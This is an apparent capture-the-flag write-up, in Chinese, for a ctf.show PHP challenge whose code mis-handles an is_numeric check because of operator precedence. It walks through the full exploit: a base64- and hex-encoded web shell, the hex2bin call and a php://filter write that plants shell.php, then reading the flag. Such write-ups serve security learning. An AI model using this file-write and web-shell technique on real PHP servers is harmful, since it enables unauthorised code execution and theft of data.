

```
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

?>
```

**Notice:** Undefined index: v2 in /var/www/html/index.php on line 15

**Notice:** Undefined index: v3 in /var/www/html/index.php on line 16  
hacker

1.分析源码，因为因为‘=’运算符优先级大于‘and’，所以这里只要\$v2是数字，进入if后，\$s被赋值为\$v2第二个字符之后的部分（不包含第二个字符），调用\$v1函数处理\$s并将结果赋给\$str，最后将\$str写入以\$v3为文件名的文件

2.这用到了php://filter/write=convert.base64-decode/resource=shell.php用于将base64解码后的php语句写入shell.php文件

3.这里要写入的php语句为<?=`cat \*`;

4.先将语句base64编码

## Base64 编码/解码

```
<?=`cat *`;
```

字符编码:

UTF-8



```
PD89YGNhdCAqYDs=
```

5.因为base64编码的字符串后面的'='有没有都是一样的，所以可以提取PD89YGNhdCAqYDs，再进行十六进制字符串编码

## 字符 编码/解码

PD89YGNhdCAqYDs

字符编码: UTF-8 格式: 十六进制

5044383959474E6864434171594473

6.因为后面要截取前两个字符, 所以要在前面加两个数字, 否则影响php语句,得115044383959474E6864434171594473, 对\$v2赋的值就出来了\$v3赋值php://filter/write=convert.base64-decode/resource=shell.php, \$v1赋值hex2bin

URL  
https://5ed7a818-9ed4-46a9-8a43-a6e2d23c7216.challenge.ctf.show/?v2=115044383959474E6864434171594473&v3=php://filter/write=convert.base64-decode/resource=shell.php]

Use POST method    enctype: application/x-www-form-urlencoded    MODIFY HEADER

Body  
v1=hex2bin

Name	Value
<input checked="" type="checkbox"/> Host	5ed7a818-9ed4-46a9-8a43-a6e2d2: X

7.Execute后, 访问shell.php查看源码得到flag

```
4
5 $flag="ctfshow{7651c230-3edf-4039-b739-df955726f8ab}";<?php
6
7
```